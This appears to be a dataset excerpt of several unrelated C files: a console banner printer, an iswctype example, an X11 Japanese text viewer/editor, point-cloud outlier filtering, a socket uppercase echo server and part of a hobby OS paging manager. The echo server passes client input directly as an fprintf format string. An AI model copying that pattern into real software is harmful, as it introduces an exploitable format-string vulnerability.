printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o);//Blanco
cambiarcolor(2);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y);
printf("\n");
cambiarcolor(240);//Blanco
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o);//Blanco
cambiarcolor(240);
printf(" INNOVACION PARA LA EXCELENCIA");
}
|
C
|
// iswctype_ex.c : iswctype() example
// -------------------------------------------------------------
#include <wctype.h> // int iswctype( wint_t wc, wctype_t description );
#include <wchar.h>
#include <locale.h>
int main()
{
wint_t wc = L'ß';
setlocale( LC_CTYPE, "de_DE.UTF-8" );
if ( iswctype( wc, wctype( "alpha" )) )
{
if ( iswctype( wc, wctype( "lower" ) ))
wprintf( L"The character %lc is lowercase.\n", wc );
if ( iswctype( wc, wctype( "upper" ) ))
wprintf( L"The character %lc is uppercase.\n", wc );
}
return 0;
}
|
C
|
#define PROGRAM_NAME "xfont-input"
/**
* キーボードから文字を入力できるテキストビューア。
*/
#include <assert.h>
#include <ctype.h>
#include <iconv.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
// time関数の為に time.h をインクルードする。
#include <time.h>
#include <X11/Xlib.h>
// XLookupString関数の為に Xutil.h をインクルードする。
#include <X11/Xutil.h>
#include <X11/extensions/Xdbe.h>
#include <sys/time.h>
#include <locale.h>
#include <alloca.h>
#include "util.h"
#include "font.h"
#define DEFAULT_FONT "-gnu-unifont-medium-r-normal-sans-16-160-75-75-c-80-iso10646-1"
#define MAX_PAGES 2048
#define CURSOR_WIDTH 2
// グローバル変数
static Display *disp;
static XIM im;
static XIC ic;
static Window win;
static XdbeBackBuffer back_buffer;
static GC default_gc;
static GC control_gc; // 制御文字を描画する為の GC
static GC margin_gc;
static GC cursor_gc; // カーソルを描画する為の GC
static XFontStruct *default_font;
// テキスト情報
static XChar2b *text;
static size_t text_length;
// 文字位置情報
static XPoint *character_positions;
static XPoint eof_position;
// カーソル情報
//
// 文書の最後では text_length に等しくなることに注意。その場合
// text[cursor_position] にアクセスすることはできない。
static size_t cursor_position;
// ページ情報
//
// ページは text へのインデックスを持つ構造体で表わす。
typedef struct {
size_t start;
size_t end;
} Page;
static Page pages[MAX_PAGES];
static size_t npages;
struct {
XColor skyblue;
XColor gray50;
XColor gray80;
XColor green;
XColor bright_green;
} Color;
XChar2b char_a = { 0, 66 };
static bool cursor_on;
void InsertCharacter(size_t position, XChar2b character);
void InvalidateWindow();
void UpdateCursor();
Page *GetCurrentPage();
Page *GetPage(size_t position);
size_t FillPage(size_t start, Page *page);
bool EqAscii2b(XChar2b a, unsigned char b);
bool EqCodePoint(XChar2b a, int codepoint);
bool IsPrint(XChar2b a);
bool EqCodePoint(XChar2b a, int codepoint)
{
assert (0 <= codepoint && codepoint <= 0xffff );
return (codepoint >> 8) == a.byte1 && (codepoint & 0xff) == a.byte2;
}
bool IsPrint(XChar2b a)
{
// 正しくはない。
if (a.byte1 != 0) return true;
if (a.byte2 <= 0x7f && isprint(a.byte2)) return true;
return false;
}
// ページ区切り位置を計算して、pages, npages を変更する。
void Paginate()
{
Page *current_page = pages;
size_t previous_end = 0;
// printf("text_length = %zu\n", text_length);
do {
if (current_page - pages == MAX_PAGES) { fprintf(stderr, "too many pages"); abort(); }
previous_end = FillPage(previous_end, current_page);
// printf("page: start=%zu, end=%zu\n", current_page->start, current_page->end);
current_page++;
} while (previous_end < text_length);
// この時点で current_page は最後の次の場所を指している。
npages = current_page - pages;
}
bool ForbiddenAtStart(XChar2b ch)
{
// 0x3001 [、]
// 0x3002 [。]
return EqCodePoint(ch, 0x3001) || EqCodePoint(ch, 0x3002);
}
int GetCharWidth(XChar2b ch)
{
XChar2b font_code;
XFontStruct *font = SelectFont(ch, &font_code);
return GetCharInfo16(font, font_code.byte1, font_code.byte2)->width;
}
void InspectChar(XChar2b ch)
{
printf("byte1 = 0x%02x, byte2 = 0x%02x\n", ch.byte1, ch.byte2);
}
// ページのサイズ。
static int LEFT_MARGIN;
static int RIGHT_MARGIN;
static int TOP_MARGIN;
static int BOTTOM_MARGIN;
void GetWindowSize() {
XWindowAttributes attrs;
XGetWindowAttributes(disp, win, &attrs);
LEFT_MARGIN = 50;
RIGHT_MARGIN = attrs.width - LEFT_MARGIN;
TOP_MARGIN = 50;
BOTTOM_MARGIN = attrs.height - TOP_MARGIN;
}
void DrawEOF(Drawable d, int x, int baseline)
{
GC gc = XCreateGC(disp, win, 0, NULL);
XCopyGC(disp, default_gc, GCFont, gc);
XSetForeground(disp, gc, Color.skyblue.pixel);
XSetBackground(disp, gc, WhitePixel(disp, 0));
XDrawImageString(disp, d, gc,
x, baseline,
"[EOF]", 5);
XFreeGC(disp, gc);
}
static inline void SetCharPos(size_t i, short x, short y) {
character_positions[i].x = x;
character_positions[i].y = y;
}
// 次のページの開始位置、あるいは文書の終端 (== text_length) を返す。
size_t FillPage(size_t start, Page *page)
{
const XChar2b sp = { 0x00, ' ' };
const int EM = GetCharWidth(sp);
// 行の高さ。
const int LINE_HEIGHT = 22;
// 現在の文字の描画位置。y はベースライン位置。
short x = LEFT_MARGIN;
short y = TOP_MARGIN + default_font->ascent;
size_t i;
for (i = start; i < text_length; i++) {
if (IsPrint(text[i])) {
// 印字可能文字の場合。
int width = GetCharWidth(text[i]);
// この文字を描画すると右マージンにかかるようなら改行する。
// ただし、描画領域が文字幅よりもせまくて行頭の場合はぶらさげる。
// また、行頭禁止文字である場合もぶらさげる。
if ( x + width > RIGHT_MARGIN && ! (ForbiddenAtStart(text[i]) || x == LEFT_MARGIN) ) {
y += LINE_HEIGHT;
x = LEFT_MARGIN;
// ページにも収まらない場合、文字の座標を設定せずにこの位置ページを区切る。
if (y + default_font->descent > BOTTOM_MARGIN) {
page->start = start;
page->end = i;
return i;
}
}
SetCharPos(i, x, y);
x += width;
} else {
SetCharPos(i, x, y);
// ラインフィードで改行する。
if (EqAscii2b(text[i], '\n')) {
y += LINE_HEIGHT;
x = LEFT_MARGIN;
// 次の文字がページに収まらない場合、次の位置で終了する。
// ページ区切り位置での改行は持ち越さない。
if (y + default_font->descent > BOTTOM_MARGIN) {
if (i + 1 == text_length) {
// ここで文書が終了する場合は、EOF だけのページを作らぬように、
// EOF をぶらさげる。
continue;
} else {
page->start = start;
page->end = i + 1;
return i + 1;
}
}
} else if (EqAscii2b(text[i], '\t')) {
int tab = EM * 8;
x = LEFT_MARGIN + (((x - LEFT_MARGIN) / tab) + 1) * tab;
} else {
x += GetCharWidth(text[i]);
}
}
}
// 全てのテキストを配置した。
page->start = start;
page->end = text_length;
eof_position.x = x;
eof_position.y = y;
return text_length;
}
void DrawCursor(Drawable d, short x, short y)
{
if (cursor_on) {
XFillRectangle(disp, d, cursor_gc,
x - CURSOR_WIDTH / 2,
y - default_font->ascent,
CURSOR_WIDTH,
default_font->ascent + default_font->descent);
} else {
GC gc = XCreateGC(disp, d, 0, NULL);
XSetForeground(disp, gc, BlackPixel(disp, 0));
XFillRectangle(disp, d, gc,
x - CURSOR_WIDTH / 2,
y - default_font->ascent,
CURSOR_WIDTH,
default_font->ascent + default_font->descent);
XFreeGC(disp, gc);
}
}
void DrawCharacters(Page *page)
{
size_t start = page->start;
size_t i;
for (i = start; i < page->end; i++) {
short x = character_positions[i].x;
short y = character_positions[i].y;
if (IsPrint(text[i])) {
draw: ;
XChar2b font_code;
XFontStruct *font = SelectFont(text[i], &font_code);
GC gc = XCreateGC(disp, back_buffer, 0, NULL);
XCopyGC(disp, default_gc, GCForeground | GCBackground, gc);
XSetFont(disp, gc, font->fid);
XDrawString16(disp, back_buffer, gc,
x, y + (font->ascent - default_font->ascent), &font_code, 1);
XFreeGC(disp, gc);
} else {
if (EqAscii2b(text[i], '\n')) {
// DOWNWARDS ARROW WITH TIP LEFTWARDS
XChar2b symbol = { .byte1 = 0x21, .byte2 = 0xb2 };
XDrawString16(disp, back_buffer, control_gc,
x, y,
&symbol, 1);
} else if (EqAscii2b(text[i], '\t')) {
;
} else {
goto draw;
}
}
}
}
// 次のページの開始位置、あるいは文書の終端 (== text_length) を返す。
void DrawPage(Page *page)
{
DrawCharacters(page);
if (GetPage(text_length) == page) {
DrawEOF(back_buffer, eof_position.x, eof_position.y);
}
if (GetCurrentPage() == page) {
XPoint pt;
if (cursor_position == text_length) {
pt = eof_position;
} else {
pt = character_positions[cursor_position];
}
DrawCursor(back_buffer, pt.x, pt.y);
// 入力コンテキストにカーソル位置を伝える。
XRectangle area = {
.x = 0,
.y = 0,
.width = 320,
.height = 320
};
pt.y -= default_font->ascent;
XVaNestedList preedit_attributes =
XVaCreateNestedList(0, XNSpotLocation, &pt, XNArea, &area, NULL);
XSetICValues(ic, XNPreeditAttributes, preedit_attributes, NULL);
}
}
// 全てを再計算する。
void Recalculate()
{
GetWindowSize();
Paginate();
UpdateCursor();
}
#define CURSOR_ON_DURATION_MSEC 1000
#define CURSOR_OFF_DURATION_MSEC 1000
void UpdateCursor()
{
static struct timeval last_change = { .tv_sec = 0, .tv_usec = 0 };
struct timeval now;
gettimeofday(&now, NULL);
if (last_change.tv_sec == 0 && last_change.tv_usec == 0) {
// 未初期化の場合は現在の時刻で初期化する。
last_change = now;
cursor_on = true;
return;
}
int msec = (now.tv_sec - last_change.tv_sec) * 1000 + (now.tv_usec - last_change.tv_usec) / 1000;
if (cursor_on) {
if (msec >= CURSOR_ON_DURATION_MSEC) {
cursor_on = false;
last_change = now;
InvalidateWindow();
}
} else {
if (msec >= CURSOR_OFF_DURATION_MSEC) {
cursor_on = true;
last_change = now;
InvalidateWindow();
}
}
}
Page *GetPage(size_t position)
{
assert(0 <= position && position <= text_length);
size_t i;
for (i = 0; i < npages; i++) {
if (pages[i].start <= position && position < pages[i].end)
return &pages[i];
}
if (position == text_length) {
return &pages[npages - 1];
} else {
abort();
}
}
Page *GetCurrentPage()
{
return GetPage(cursor_position);
}
void MarkMargins()
{
// ページのサイズ。
const int lm = LEFT_MARGIN - 1;
const int rm = RIGHT_MARGIN + 1;
const int tm = TOP_MARGIN - 1;
const int bm = BOTTOM_MARGIN + 1;
// マークを構成する線分の長さ。
const int len = 10;
// _|
XDrawLine(disp, back_buffer, margin_gc, lm - len, tm, lm, tm); // horizontal
XDrawLine(disp, back_buffer, margin_gc, lm, tm - len, lm, tm); // vertical
// |_
XDrawLine(disp, back_buffer, margin_gc, rm, tm, rm + len, tm);
XDrawLine(disp, back_buffer, margin_gc, rm, tm - len, rm, tm);
// -|
XDrawLine(disp, back_buffer, margin_gc, lm - len, bm, lm, bm);
XDrawLine(disp, back_buffer, margin_gc, lm, bm, lm, bm + len);
// |-
XDrawLine(disp, back_buffer, margin_gc, rm, bm, rm + len, bm);
XDrawLine(disp, back_buffer, margin_gc, rm, bm, rm, bm + len);
}
void Redraw()
{
{
XWindowAttributes attrs;
XGetWindowAttributes(disp, win, &attrs);
GC gc = XCreateGC(disp, win, 0, NULL);
XSetForeground(disp, gc, WhitePixel(disp, 0));
XFillRectangle(disp, back_buffer, gc,
0, 0,
attrs.width, attrs.height);
XFreeGC(disp, gc);
}
MarkMargins();
DrawPage(GetCurrentPage());
// フロントバッファーとバックバッファーを入れ替える。
// 操作後、バックバッファーの内容は未定義になる。
XdbeSwapInfo swap_info = {
.swap_window = win,
.swap_action = XdbeUndefined,
};
XdbeSwapBuffers(disp, &swap_info, 1);
XFlush(disp);
}
static void InitializeColors()
{
Colormap cm;
cm = DefaultColormap(disp, 0);
XParseColor(disp, cm, "#00DD00", &Color.bright_green);
XAllocColor(disp, cm, &Color.bright_green);
XParseColor(disp, cm, "#00AA00", &Color.green);
XAllocColor(disp, cm, &Color.green);
XParseColor(disp, cm, "gray50", &Color.gray50);
XAllocColor(disp, cm, &Color.gray50);
XParseColor(disp, cm, "gray80", &Color.gray80);
XAllocColor(disp, cm, &Color.gray80);
XParseColor(disp, cm, "cyan3", &Color.skyblue);
XAllocColor(disp, cm, &Color.skyblue);
}
void InitializeBackBuffer()
{
Status st;
int major, minor;
st = XdbeQueryExtension(disp, &major, &minor);
if (st == (Status) 0) {
fprintf(stderr, "Xdbe extension unsupported by server.\n");
exit(1);
}
back_buffer = XdbeAllocateBackBufferName(disp, win, XdbeUndefined);
}
void StatusStartCallback(XIC ic, XPointer client_data, XPointer call_data)
{
assert(client_data == NULL && call_data == NULL);
fprintf(stderr, "status start\n");
}
void StatusDoneCallback(XIC ic, XPointer client_data, XPointer call_data)
{
assert(client_data == NULL && call_data == NULL);
fprintf(stderr, "status done\n");
}
void StatusDrawCallback(XIC ic, XPointer client_data, XIMStatusDrawCallbackStruct *call_data)
{
fprintf(stderr, "status done\n");
}
void InitializeGCs()
{
/* ウィンドウに関連付けられたグラフィックコンテキストを作る */
default_gc = XCreateGC(disp, win, 0, NULL);
XSetForeground(disp, default_gc,
BlackPixel(disp, DefaultScreen(disp)));
XSetFont(disp, default_gc, default_font->fid);
control_gc = XCreateGC(disp, win, 0, NULL);
XSetFont(disp, control_gc, (default_font)->fid);
XSetForeground(disp, control_gc, Color.skyblue.pixel);
margin_gc = XCreateGC(disp, win, 0, NULL);
XSetForeground(disp, margin_gc, Color.gray80.pixel);
cursor_gc = XCreateGC(disp, win, 0, NULL);
XSetForeground(disp, cursor_gc, Color.green.pixel);
}
void Initialize()
{
if ( setlocale(LC_ALL, "") == NULL ) {
fprintf(stderr, "cannot set locale.\n");
exit(1);
}
disp = XOpenDisplay(NULL); // open $DISPLAY
if (!XSupportsLocale()) {
fprintf(stderr, "locale is not supported by X.\n");
exit(1);
}
if (XSetLocaleModifiers("") == NULL) {
fprintf(stderr, "cannot set locale modifiers.\n");
}
im = XOpenIM(disp, NULL, NULL, NULL);
if (im == NULL) {
fprintf(stderr, "could not open IM.\n");
exit(1);
}
// ウィンドウの初期化。
win = XCreateSimpleWindow(disp, // ディスプレイ
DefaultRootWindow(disp), // 親ウィンドウ
0, 0, // (x, y)
640, 480, // 幅・高さ
0, // border width
0, // border color
WhitePixel(disp, DefaultScreen(disp))); // background color
XMapWindow(disp, win);
Atom WM_DELETE_WINDOW = XInternAtom(disp, "WM_DELETE_WINDOW", False);
XSetWMProtocols(disp, win, &WM_DELETE_WINDOW, 1);
InitializeBackBuffer();
XRectangle area = {
.x = 0,
.y = 0,
.width = 320,
.height = 320
};
XPoint location = {
.x = 0,
.y = 0
};
XFontSet fs;
char **missing_charsets;
int count;
char *def_str;
fs = XCreateFontSet(disp, "-misc-fixed-medium-r-normal--14-*-*-*-c-*-*-*", &missing_charsets, &count, &def_str);
XVaNestedList preedit_attributes =
XVaCreateNestedList(0,
XNSpotLocation, &location,
XNFontSet, fs,
XNArea, &area,
NULL);
// インプットコンテキストの初期化。
ic = XCreateIC(im,
XNInputStyle, XIMPreeditPosition | XIMStatusNothing,
XNPreeditAttributes, preedit_attributes,
XNClientWindow, win,
NULL);
XFree(preedit_attributes);
// XFree(status_attributes);
if (ic == NULL) {
fprintf(stderr, "could not create IC.\n");
exit(1);
}
XSetICFocus(ic);
// 暴露イベントとキー押下イベントを受け取る。
XSelectInput(disp, win, ExposureMask | KeyPressMask);
InitializeColors();
default_font = XLoadQueryFont(disp, DEFAULT_FONT);
InitializeFonts(disp);
InitializeGCs();
}
void CleanUp()
{
XFreeGC(disp, cursor_gc);
XFreeGC(disp, margin_gc);
XFreeGC(disp, control_gc);
XFreeGC(disp, default_gc);
ShutdownFonts(disp);
XUnloadFont(disp, default_font->fid);
XDestroyWindow(disp, win);
XCloseDisplay(disp);
free(text);
free(character_positions);
}
void UsageExit()
{
fprintf(stderr, "Usage: " PROGRAM_NAME " FILENAME\n");
exit(1);
}
void LoadFile(const char *filepath)
{
// 前半で UTF8 ファイルをロードし、後半で UCS2 に変換する。
// ビッグエンディアンの UCS2 は XChar2b 構造体とバイナリ互換性を持つ。
FILE *fp = fopen(filepath, "r");
if ( fp == NULL ) {
perror(filepath);
exit(1);
}
struct stat st;
if ( stat(filepath, &st) == -1 ) {
perror(filepath);
exit(1);
}
char *utf8 = alloca(st.st_size + 1);
if ( fread(utf8, 1, st.st_size, fp) != st.st_size) {
fprintf(stderr, "warning: size mismatch\n");
}
fclose(fp);
iconv_t cd = iconv_open("UCS-2BE", "UTF-8");
size_t inbytesleft = st.st_size;
// UTF-8 を UCS2 に変換した場合、最大で二倍のバイト数を必要とする。
// NUL 終端はしない。
size_t outbytesleft = st.st_size * 2;
text = malloc(outbytesleft);
char *outptr = (char *) text;
if ( iconv(cd, &utf8, &inbytesleft, &outptr, &outbytesleft) == -1) {
perror(PROGRAM_NAME);
exit(1);
}
text_length = (XChar2b *) outptr - text;
iconv_close(cd);
character_positions = malloc(text_length * sizeof(character_positions[0]));
}
#include <X11/keysym.h>
bool EqAscii2b(XChar2b a, unsigned char b)
{
if (a.byte1 == 0 &&
a.byte2 == b)
return true;
return false;
}
void HandleKeyPress(XKeyEvent *ev)
{
bool needs_redraw = false;
KeySym sym;
sym = XLookupKeysym(ev, 0);
switch (sym) {
case XK_Right:
if (cursor_position < text_length)
cursor_position++;
needs_redraw = true;
break;
case XK_Left:
if (cursor_position > 0)
cursor_position--;
needs_redraw = true;
break;
case XK_Delete:
if (cursor_position < text_length) {
memmove(&text[cursor_position], &text[cursor_position+1],
sizeof(text[0]) * (text_length - cursor_position - 1));
text_length--;
needs_redraw = true;
}
break;
case XK_BackSpace:
if (cursor_position > 0) {
memmove(&text[cursor_position-1], &text[cursor_position],
sizeof(text[0]) * (text_length - cursor_position));
text_length--;
cursor_position--;
needs_redraw = true;
}
break;
case XK_Down:
while (cursor_position != text_length &&
!(EqAscii2b(text[cursor_position], '\n'))) {
cursor_position++;
}
if (cursor_position < text_length) {
cursor_position++;
}
needs_redraw = true;
break;
case XK_Up:
// 2つ前の改行を見付けて、その改行の次の位置に移動する。
// 途中で文書の先頭に来たら、止まる。
{
int count = 0;
while (1) {
if ( cursor_position == 0 )
break;
if (count == 2) {
cursor_position++; // 大丈夫なはず。
break;
}
cursor_position--;
if (EqAscii2b(text[cursor_position], '\n'))
count++;
}
needs_redraw = true;
}
break;
case XK_Next:
// 次のページへ移動する。
{
Page *page = GetCurrentPage();
if (page - pages < npages - 1) {
page++;
cursor_position = page->start;
needs_redraw = true;
}
}
break;
case XK_Prior:
// 前のページへ移動する。
{
Page *page = GetCurrentPage();
if (page > pages) {
page--;
cursor_position = page->start;
needs_redraw = true;
}
}
break;
case XK_Return:
{
XChar2b ch = {
.byte1 = 0,
.byte2 = '\n'
};
InsertCharacter(cursor_position, ch);
}
break;
default:
{
char utf8[1024];
int len;
len = Xutf8LookupString(ic, ev, utf8, sizeof(utf8), NULL, NULL);
printf("'%.*s'\n", len, utf8);
char ucs2[1024];
iconv_t cd = iconv_open("UCS-2BE", "UTF-8");
char *inbuf = utf8, *outbuf = ucs2;
size_t inbytesleft = len, outbytesleft = 1024;
len = iconv(cd,
&inbuf, &inbytesleft,
&outbuf, &outbytesleft);
assert( len % 2 == 0 );
printf("len == %d\n", len);
char *p;
for (p = ucs2; p < outbuf; p += 2) {
XChar2b ch = *((XChar2b*) p);
InsertCharacter(cursor_position, ch);
}
iconv_close(cd);
}
}
printf("cursor = %zu\n", cursor_position);
if (needs_redraw) {
InvalidateWindow();
}
}
void InsertCharacter(size_t position, XChar2b character)
{
text = realloc(text, sizeof(text[0]) * (text_length + 1));
character_positions = realloc(character_positions, sizeof(character_positions[0]) * (text_length + 1));
memmove(&text[cursor_position] + 1, &text[cursor_position], sizeof(text[0]) * (text_length - cursor_position));
text[cursor_position] = character;
cursor_position++;
text_length++;
InvalidateWindow();
}
void InvalidateWindow()
{
XExposeEvent expose_event;
memset(&expose_event, 0, sizeof(expose_event));
expose_event.type = Expose;
expose_event.window = win;
XSendEvent(disp, win, False, ExposureMask, (XEvent *) &expose_event);
XFlush(disp);
}
#include <sys/select.h>
int main(int argc, char *argv[])
{
if (argc != 2)
UsageExit();
LoadFile(argv[1]);
Initialize();
XEvent ev;
fd_set readfds;
struct timeval timeout;
timeout.tv_sec = 0;
timeout.tv_usec = 500 * 1000;
while (1) { // イベントループ
struct timeval t = timeout;
int num_ready;
FD_ZERO(&readfds);
FD_SET(ConnectionNumber(disp), &readfds);
num_ready = select(ConnectionNumber(disp) + 1,
&readfds, NULL, NULL,
&t);
// タイムアウトになった場合
if (num_ready == 0)
Recalculate();
while (XPending(disp)) {
XNextEvent(disp, &ev);
if (XFilterEvent(&ev, None))
continue;
printf("event type = %d\n", ev.type);
switch (ev.type) {
case Expose:
Recalculate();
Redraw();
break;
case KeyPress:
HandleKeyPress((XKeyEvent *) &ev);
break;
case ClientMessage:
printf("WM_DELETE_WINDOW\n");
goto Exit;
default:
;
}
}
}
Exit:
CleanUp();
return 0;
}
|
C
|
/* The first two functions squared_distance_between_3d_points
* and count_3d_neighbors
* are from s2p (see https://github.com/cmla/s2p).
*
* The following ones are by me.
*/
#include <math.h> // for NaN only
float squared_distance_between_3d_points(float a[3], float b[3])
{
float x = (a[0] - b[0]);
float y = (a[1] - b[1]);
float z = (a[2] - b[2]);
return x*x + y*y + z*z;
}
void count_3d_neighbors(int *count, float *xyz, int nx, int ny, float r, int p)
{
// count the 3d neighbors of each point
for (int y = 0; y < ny; y++)
for (int x = 0; x < nx; x++) {
int pos = x + nx * y;
float *v = xyz + pos * 3;
int c = 0;
int i0 = y > p ? -p : -y;
int i1 = y < ny - p ? p : ny - y - 1;
int j0 = x > p ? -p : -x;
int j1 = x < nx - p ? p : nx - x - 1;
for (int i = i0; i <= i1; i++)
for (int j = j0; j <= j1; j++) {
float *u = xyz + (x + j + nx * (y + i)) * 3;
float d = squared_distance_between_3d_points(u, v);
if (d < r*r) {
c++;
}
}
count[pos] = c;
}
}
void remove_isolated_3d_points(
int *count, // output number of neighbors for each point.
float* xyz, // input (and output) image, dim = (h, w, 3)
int nx, // width w
int ny, // height h
float r, // filtering radius, in meters
int p, // filtering window (square of width is 2p+1 pix)
int n) // number of neighbors under which the pixels is
// considered an outlier
{
// count the 3d neighbors of each point
count_3d_neighbors(count, xyz, nx, ny, r, p);
// declare nan all pixels with less than n neighbors
for (int i = 0; i < ny * nx; i++)
if (count[i] < n)
for (int c = 0; c < 3; c++)
xyz[c + i * 3] = NAN;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "socket.h"
#define BUFFER_LEN 256
int main()
{
// Open a server socket
unsigned short port = 0;
int server_socket_fd = server_socket_open(&port);
if (server_socket_fd == -1)
{
perror("Server socket was not opened");
exit(2);
}
// Start listening for connections, with a maximum of one queued connection
if (listen(server_socket_fd, 1))
{
perror("listen failed");
exit(2);
}
printf("Server listening on port %u\n", port);
// Wait for a client to connect
int client_socket_fd = server_socket_accept(server_socket_fd);
if (client_socket_fd == -1)
{
perror("accept failed");
exit(2);
}
printf("Client connected!\n");
// Set up file streams to access the socket
FILE *to_client = fdopen(dup(client_socket_fd), "wb");
if (to_client == NULL)
{
perror("Failed to open stream to client");
exit(2);
}
FILE *from_client = fdopen(dup(client_socket_fd), "rb");
if (from_client == NULL)
{
perror("Failed to open stream from client");
exit(2);
}
char buffer[BUFFER_LEN];
while (fgets(buffer, BUFFER_LEN, from_client) != NULL)
{
int len = strlen(buffer);
printf("len = %d\n", len);
for (int i = 0; i < len; i++)
{
buffer[i] = toupper(buffer[i]);
}
fprintf(to_client, buffer);
fflush(to_client);
printf("Server: %s", buffer);
}
// Send a message to the client
//fprintf(to_client, "Hello client!\n");
// Flush the output buffer
//fflush(to_client);
// Receive a message from the client
/*
char buffer[BUFFER_LEN];
if (fgets(buffer, BUFFER_LEN, from_client) == NULL)
{
perror("Reading from client failed");
exit(2);
}
printf("Client sent: %s\n", buffer);
*/
// Close file streams
fclose(to_client);
fclose(from_client);
// Close sockets
close(client_socket_fd);
close(server_socket_fd);
return 0;
}
|
C
|
#include <mm/virtmem.h>
#include <lib/stdio.h>
//===================================================================
// PTE (Page Table Entry)
//===================================================================
void pt_entry_add_attrib (pt_entry* e, uint32_t attrib){
*e |= attrib;
}
void pt_entry_del_attrib (pt_entry* e, uint32_t attrib){
*e &= ~attrib;
}
void pt_entry_set_frame (pt_entry* e, physical_addr addr){
*e = (*e & ~I86_PTE_FRAME) | addr;
}
int pt_entry_is_present (pt_entry e){
return e & I86_PTE_PRESENT;
}
int pt_entry_is_writable (pt_entry e){
return e & I86_PTE_WRITABLE;
}
physical_addr pt_entry_pfn (pt_entry e){
return e & I86_PTE_FRAME;
}
//===================================================================
// PDE (Page Directory Entry)
//===================================================================
void pd_entry_add_attrib (pd_entry* e, uint32_t attrib){
*e |= attrib;
}
void pd_entry_del_attrib (pd_entry* e, uint32_t attrib){
*e &= ~attrib;
}
void pd_entry_set_frame (pd_entry* e, physical_addr addr){
*e = (*e & ~I86_PDE_FRAME) | addr;
}
int pd_entry_is_present (pd_entry e){
return e & I86_PDE_PRESENT;
}
int pd_entry_is_user (pd_entry e){
return e & I86_PDE_USER;
}
int pd_entry_is_4mb (pd_entry e){
return e & I86_PDE_4MB;
}
int pd_entry_is_writable (pd_entry e){
return e & I86_PDE_WRITABLE;
}
physical_addr pd_entry_pfn (pd_entry e){
return e & I86_PDE_FRAME;
}
void pd_entry_enable_global (pd_entry e){
// Empty for now.
}
//===================================================================
// Virtual Memory Manager
//===================================================================
#define PTABLE_ADDR_SPACE_SIZE 0x400000
#define DTABLE_ADDR_SPACE_SIZE 0x100000000
#define PAGE_SIZE 4096
// current directory table
pdirectory* _cur_directory = 0;
// current page directory base register
physical_addr _cur_pdbr = 0;
void vmmngr_map_page(void* phys, void* virt){
// Get page directory
pdirectory* pageDirectory = vmmngr_get_directory();
pd_entry* e =
&pageDirectory->m_entries[PAGE_DIRECTORY_INDEX((uint32_t) virt)];
if((*e & I86_PTE_PRESENT) != I86_PTE_PRESENT){
// Allocate page table
ptable* table = (ptable*)pmmngr_alloc_block();
if(!table)
return;
memset(table,0,sizeof(ptable));
pd_entry* entry =
&pageDirectory->m_entries[PAGE_DIRECTORY_INDEX((uint32_t) virt)];
pd_entry_add_attrib(entry, I86_PDE_PRESENT);
pd_entry_add_attrib(entry, I86_PDE_WRITABLE);
pd_entry_set_frame(entry, (physical_addr)table);
}
// Get table
ptable* table = (ptable*) PAGE_GET_PHYSICAL_ADDRESS(e);
// Get page
pt_entry* page = &table->m_entries[PAGE_TABLE_INDEX((uint32_t) virt)];
pt_entry_set_frame(page, (physical_addr)phys);
pt_entry_add_attrib(page, I86_PTE_PRESENT);
}
void vmmngr_initialize(){
// allocate default page table
ptable* table = (ptable*) pmmngr_alloc_block ();
if (!table){
return;
}
// allocates 3gb page table
ptable* table2 = (ptable*) pmmngr_alloc_block ();
if (!table2){
return;
}
// clear page table
memset (table, 0, sizeof (ptable));
// 1st 4mb are idenitity mapped
for (int i=0, frame=0x0, virt=0x00000000; i<1024; i++, frame+=4096, virt+=4096) {
// create a new page
pt_entry page=0;
pt_entry_add_attrib (&page, I86_PTE_PRESENT);
pt_entry_set_frame (&page, frame);
// ...and add it to the page table
table2->m_entries [PAGE_TABLE_INDEX (virt) ] = page;
}
// map 1mb to 3gb (where we are at)
for (int i=0, frame=0x000000, virt=0xc0000000; i<1024; i++, frame+=4096, virt+=4096) {
// create a new page
pt_entry page=0;
pt_entry_add_attrib (&page, I86_PTE_PRESENT);
pt_entry_set_frame (&page, frame);
// ...and add it to the page table
table->m_entries [PAGE_TABLE_INDEX (virt) ] = page;
}
// create default directory table
pdirectory* dir = (pdirectory*) pmmngr_alloc_blocks (3);
if (!dir){
return;
}
// clear directory table and set it as current
memset (dir, 0, sizeof (pdirectory));
// get first entry in dir table and set it up to point to our table
pd_entry* entry = &dir->m_entries [PAGE_DIRECTORY_INDEX (0xc0000000) ];
pd_entry_add_attrib (entry, I86_PDE_PRESENT);
pd_entry_add_attrib (entry, I86_PDE_WRITABLE);
pd_entry_set_frame (entry, (physical_addr)table);
pd_entry* entry2 = &dir->m_entries [PAGE_DIRECTORY_INDEX (0x00000000) ];
pd_entry_add_attrib (entry2, I86_PDE_PRESENT);
pd_entry_add_attrib (entry2, I86_PDE_WRITABLE);
pd_entry_set_frame (entry2, (physical_addr)table2);
// store current PDBR
_cur_pdbr = (physical_addr) &dir->m_entries;
// switch to our page directory
vmmngr_switch_pdirectory (dir);
// enable paging
pmmngr_paging_enable (1);
}
int vmmngr_alloc_page(pt_entry* e){
void* p = pmmngr_alloc_block();
if (!p)
return 0;
pt_entry_set_frame (e, (physical_addr)p);
pt_entry_add_attrib (e, I86_PTE_PRESENT);
return 1;
}
void vmmngr_free_page(pt_entry* e){
void* p = (void*)pt_entry_pfn (*e);
if (p)
pmmngr_free_block (p);
pt_entry_del_attrib (e, I86_PTE_PRESENT);
}
int vmmngr_switch_pdirectory(pdirectory* dir){
if(!dir)
return 0;
_cur_directory = dir;
printf("%#0(10)p\n", _cur_pdbr);
pmmngr_load_PBDR(_cur_pdbr);
return 1;
}
pdirectory* vmmngr_get_directory(){
return _cur_directory;
}
void vmmngr_flush_tlb_entry(virtual_addr addr){
asm volatile ("cli");
asm volatile ("invlpg (%0)" ::"b"(addr): "memory");
asm volatile ("sti");
}
void vmmngr_ptable_clear(ptable* p) {
if (p)
